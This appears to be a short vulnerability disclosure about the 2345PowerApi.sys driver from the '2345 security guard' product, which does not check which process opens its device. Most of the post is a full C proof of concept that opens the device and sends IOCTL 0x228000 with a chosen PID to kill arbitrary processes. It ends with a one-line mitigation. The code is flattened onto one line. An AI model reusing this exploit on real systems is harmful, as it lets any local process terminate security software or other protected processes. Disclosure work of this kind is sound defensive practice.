2345 security guard Driver Design Problems

2345 security guard Driver Design Problems

2345 the 2345powerapi. sys driver installed by the security guard does not verify the process of opening the device object. Any process that has the permission to open the device object can use the function in its driver. Since it is called powerapi, it must be very good and powerful. I tried to shut down any process. Others are not tested.
 

//#include <Windows.h>#define CONTROLCODE1 0x228000HANDLE OpenDevice(TCHAR *devName){HANDLE hDev = CreateFile(devName, GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);return hDev;}void CloseDevice(HANDLE hDev){CloseHandle(hDev);}int SendMessageToDev(HANDLE hDev, DWORD dwIoControlCode, BYTE *inBuffer, DWORD inBufferSize, BYTE *outBuffer, DWORD outBufferSize){DWORD outLength;BOOL ret = DeviceIoControl(hDev, dwIoControlCode, inBuffer, inBufferSize, outBuffer, outBufferSize, &outLength, NULL);if (ret)return outLength;elsereturn -1;}void Poc(){HANDLE hDev = OpenDevice(_T("\\\\.\\2345PowerApi"));if (hDev == INVALID_HANDLE_VALUE) {printf("[-] Open device failed!gle:%d\n", GetLastError());return;}DWORD pid = 4;printf("Input pid:\n\t");scanf_s("%d", &pid);int ret = SendMessageToDev(hDev, CONTROLCODE1, (BYTE *)&pid, 4, NULL, 0);if (ret < 0) {printf("[-]Control device failed, gle:%d.\n", GetLastError());return;}CloseDevice(hDev);printf("[*]Ok!\n");return;}int _tmain(int argc, _TCHAR* argv[]){Poc();return 0;}

 

Solution:

Strictly restrict processes that can use this driver